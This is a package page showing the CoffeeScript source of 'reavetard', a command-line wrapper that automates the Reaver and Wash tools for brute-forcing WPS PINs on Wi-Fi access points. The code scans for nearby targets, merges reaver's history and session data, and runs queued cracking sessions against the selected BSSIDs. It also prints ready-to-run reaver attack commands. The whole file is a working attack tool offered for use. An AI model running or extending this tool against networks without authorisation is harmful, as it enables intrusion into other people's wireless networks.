UNPKG

reavetard

Version:

CoffeeScript modules that provide AP rotation support and a host of data management and general usability enhancements for Reaver-WPS Cracker and its partner in crime, Wash-WPS Scanner

289 lines (266 loc) 12.4 kB
# Reavetard - Reaver WPS (+Wash) extension scripts # reavetard.coffee :: Module that brings all the little pieces together to make # sweet, dynamic love to your reaver and wash duo # Author: Robbie Saunders http://eibbors.com/[/p/reavetard] # ============================================================================== # Module dependencies # ------------------------- rtard = require 'commander' cli = require './cli' db = require './db' wash = require './wash' {ReaverQueueManager} = require './reaver' config = require './config' # `Command` handlers - functions used to initiate/control reavetard # ---------------------------------------------------------------------- # Spawns a wash survey (technically a scan, by default) runWashScan = (iface, scan = true) => stations = # Used to categorize results for later review complete: [] inProgress: [] noHistory: [] rdb = new db(rtard.reaverPath ? config.REAVER_DEFAULT_PATH, rtard.rdbFile ? config.REAVER_DEFAULT_DBFILE) iface ?= config.DEFAULT_INTERFACE w = new wash(config.WASH_DEFAULT_ARGS(iface, scan)) # Clean wash up in case we missed another chance to stop it # These processes go absolutely bonkers with your resources once there's # around three or more of the bastards left open. hah process.on 'exit', => w.stop() # After messing around with different options, this seemed simple & intuitive enough cli._c.foreground(250) rtard.prompt ' *** Press enter to move on to next step ***', => w.stop() process.nextTick -> reviewTargets.apply(null, [stations]) # Handle access points found by our washing machine w.on 'ap', (station) -> rdb.checkSurvey station.bssid, (err, rows) -> if not err and rows.length > 0 device = name: rows[0].device_name manufacturer: rows[0].manufacturer model: rows[0].model_name number: rows[0].model_number for k,v of device if v isnt '' station.device = device rdb.checkHistory station.bssid, (err, rows) -> if err then console.error errd if rows.length > 0 # Copy history data to station object (station[k] ?= v) for k,v of rows[0] # Load session data (if available) station.session = rdb.loadSession station.bssid # If history -or- session specifies completion if station.attempts >= 11000 or station.session.phase is 2 stations.complete.push station station.category = 'C' else stations.inProgress.push station station.category = 'W' else stations.noHistory.push station station.category = 'N' cli.washHit station, station.category # Hopefully you won't be seeing any of these! w.on 'error', -> console.error "ERROR: #{arguments}" # Let the mayhem begin w.start() cli.cwrite('magenta', ' Wash scan has been started, now waiting for AP data...\n\n') # Function called when running the rdbq command. It pulls -every- available # row out of the history/survey tables and any associated session files. runRDBQuery = () => stations = # Used to categorize results for later review complete: [] inProgress: [] noHistory: [] rdb = new db(rtard.reaverPath ? config.REAVER_DEFAULT_PATH, rtard.rdbFile ? config.REAVER_DEFAULT_DBFILE) rdb.getHistory (err, history) -> if err then throw err rdb.getSurvey (err, survey) -> if err then throw err joined = {} # Start by indexing the history data by bssid in new object, joined for row in history joined[row.bssid] = row # Merge the survey data with history data or index the new station for row in survey joined[row.bssid] ?= {} (joined[row.bssid][k] = v) for k,v of row joined[row.bssid].locked = joined[row.bssid].locked is 1 # Finally, load session data, categorize the station, and print confirmation for bssid, station of joined station.session = rdb.loadSession(bssid) if station.attempts? if station.attempts is 11000 or station.session?.phase is 2 stations.complete.push station station.category = 'C' else stations.inProgress.push station station.category = 'W' else stations.noHistory.push station station.category = 'N' cli.washHit station, station.category, true rtard.prompt '\n (Press enter to continue to target review)', -> process.nextTick -> reviewTargets.apply(null, [stations]) # Present ansi-formatted tables containing scan/query results, from which user can select from reviewTargets = (stations, reprompt=false) -> if not reprompt cli.clear() indexed = cli.targetReviewTable stations cli.reviewSelectors() cli._c.foreground(255) else console.log ' Your input did not include any valid selections, please try again...' rtard.prompt ' Please enter the #/selector for each target that you wish to select: ', (input) => cli._c.down(1).erase('line') selections = input.match(/-?\d+/g) selected = [] for station in indexed if '0' in selections or "#{station.tableIndex}" in selections selected.push station else switch station.category when 'C' if '-1' in selections then selected.push station when 'W' if '-2' in selections then selected.push station when 'N' if '-3' in selections then selected.push station cli.clear().title(true).cwrite(250, " You have selected the following #{selected.length} station(s): \n ") isfirst = true for sel in selected if not isfirst then cli.cwrite(250, ', ') else isfirst = false cli.cwrite(cli.STATION_COLORS[sel.category ? 'N'], "#{sel.essid}") cli.cdwrite('bright', 'blue', '\n\n What would you like reavetard to do with these station(s)?\n') .cdwrite('reset', 245, ' -----------------------------------------------------------------------\n').targetActions() cli._c.foreground('blue') actionPrompt(selected) # Prompt user for desired action, given a list of targets, and perform # action or defer it to another function actionPrompt = (selected) => rtard.prompt '\n Please enter one of the letters in ()\'s, or entire title, of your desired action: ', (choice) => switch choice when 'a', 'attack' process.nextTick -> startAttack.apply(null, [selected]) when 'j', 'json' # Output station data in JSON (useful when scripting reavetard yourself) cli.cwrite 250, ' Would you like to include the session file key data?\n' cli.cwrite 'yellow', ' Doing so can add 11k partial pins for every station with session data!\n' cli._c.foreground 250 rtard.confirm " What'll it be, champ? (y)ay or (n)ay: ", (showPins) -> if not showPins for s in selected when s.session? s.session.Pins = 'removed' console.log JSON.stringify selected process.exit() when 'u', 'usage' for s in selected config.REAVER_DEFAULT_ARGS console.log "reaver -i mon0 -b #{s.bssid} #{if s.channel then '-c ' + s.channel} -vv -a -N -S" process.exit() when 'x', 'exit' console.log 'goodbye.' process.exit() else console.log 'You didn\'t enter one of the available letters/words. Try again.\n' process.nextTick -> actionPrompt selected startAttack = (selected) -> atkQueue = new ReaverQueueManager(selected, rtard.interface) atkQueue.on 'stopped', (reason) => if reason is 'paused' rtard.prompt ' *** Reavetard is paused, press enter to resume ***', -> process.nextTick atkQueue.start else if reason isnt 'killed' if atkQueue.priority?.length? >= 1 or atkQueue.secondary?.length? >= 1 process.nextTick atkQueue.start else attackReview atkQueue.finished attackPrompt = => cli._c.display('hidden') rtard.prompt ': ', (cmd) -> switch cmd when 'h', 'help' cli.attackCommands() when 'n', 'next' atkQueue.stop('skipped') when 'p', 'pause' atkQueue.stop('paused') when 'x', 'exit' atkQueue.stop('killed') process.exit() else process.nextTick attackPrompt cli._c.display('reset').attackPrompt atkQueue.start() process.on 'exit', => atkQueue.stop('killed') pinterval = setInterval (=> if atkQueue.reaver? and atkQueue.active? if atkQueue.prevHealth? [pact, pstat, pmets] = atkQueue.prevHealth if pact.bssid is atkQueue.active.bssid if not pstat.associated and not atkQueue.reaver.status.associated then atkQueue.stop('idle') if pmets.totalChecked is atkQueue.reaver.metrics.totalChecked then atkQueue.stop('idle') # store a snapshot of the current attack queue for next time around atkQueue.prevHealth = [ atkQueue.active, atkQueue.reaver.status, atkQueue.reaver.metrics ] else if atkQueue.priority.length is 0 and atkQueue.secondary.length is 0 attackReview atkQueue.finished clearInterval()), config.HEALTH_CHECK_INTERVAL # For now just prints out the JSON.stringified array of stations attackReview = (fin) -> for s in fin if s.session? then s.session.Pins = 'removed' if s.success then cli.cwrite 'green', JSON.stringify(s) else cli.cwrite 'red', JSON.stringify(s) process.exit() # Commander.js stuff to support CLI commands & parse options # ---------------------------------------------------------------------- parseOptions = (args) -> rtard # Universal configuration / options .version('0.1.0') .option('-i, --interface <iface>', "Choose WLAN interface [#{config.DEFAULT_INTERFACE}]", config.DEFAULT_INTERFACE) .option('-r, --reaver-path <path>', "Set path to your reaver.db and session files [#{config.REAVER_DEFAULT_PATH}]", config.REAVER_DEFAULT_PATH) .option('-d, --rdb-file <filename>', "Set the filename of your reaver database [#{config.REAVER_DEFAULT_DBFILE}]", config.REAVER_DEFAULT_DBFILE) .option('-D, --no-rdb-access', 'Do not attempt to access reaver\'s database') rtard # Comman" definition for `scan` .command('scan [silent]') .description('Spawn a new wash process to generate a list of nearby targets') .action (silent=false) -> cli.clear().title().cwrite('blue', ' Scan command chosen. Initializing wash survey...\n') if silent cli.cwrite 170, ' SILENT MODE ENABLED - Will not send probes to access points\n' scan = false else scan = true process.nextTick -> runWashScan(rtard.interface ? undefined, scan) rtard # Command definition for `rdbq` (reaver database query) .command('rdbq') .description('Pull all past targets from database and/or session files') .action -> if not rtard.rdbAccess then throw('Cannot query a database without accessing it! Try removing -D option') cli.clear().title().cwrite('blue', ' Reaver DB Query command chosen, Initializing query... \n\n') process.nextTick runRDBQuery rtard # Command definition for `crack` .command('attack <bssid1,b2,b3...>') .description('Initiate reaver cracking session on one or more targets') .action (bssids) -> cli.clear().title().cwrite('blue', ' Attack command chosen. The following BSSIDs were provided: \n') stations = { bssid } for bssid in bssids.split(',') if not Array.isArray stations then stations = [stations] cli.cwrite(250, " #{JSON.stringify(stations)}\n").cwrite('magenta', " Initializing new attack queue on #{rtard.interface}...\n") process.nextTick -> startAttack(stations) # execute user's custom setup function before parsing arguments: if typeof config.CUSTOM_SETUP is 'function' config.CUSTOM_SETUP (okay, err) -> if okay then rtard.parse args else throw err else # assume user does not want to run extra setup procedure and parse args rtard.parse args # If this is the main module, then parse options, otherwise export commands if module is require.main then parseOptions(process.argv) else module.exports = { parseOptions, startAttack, reviewTargets, runRDBQuery, runWashScan }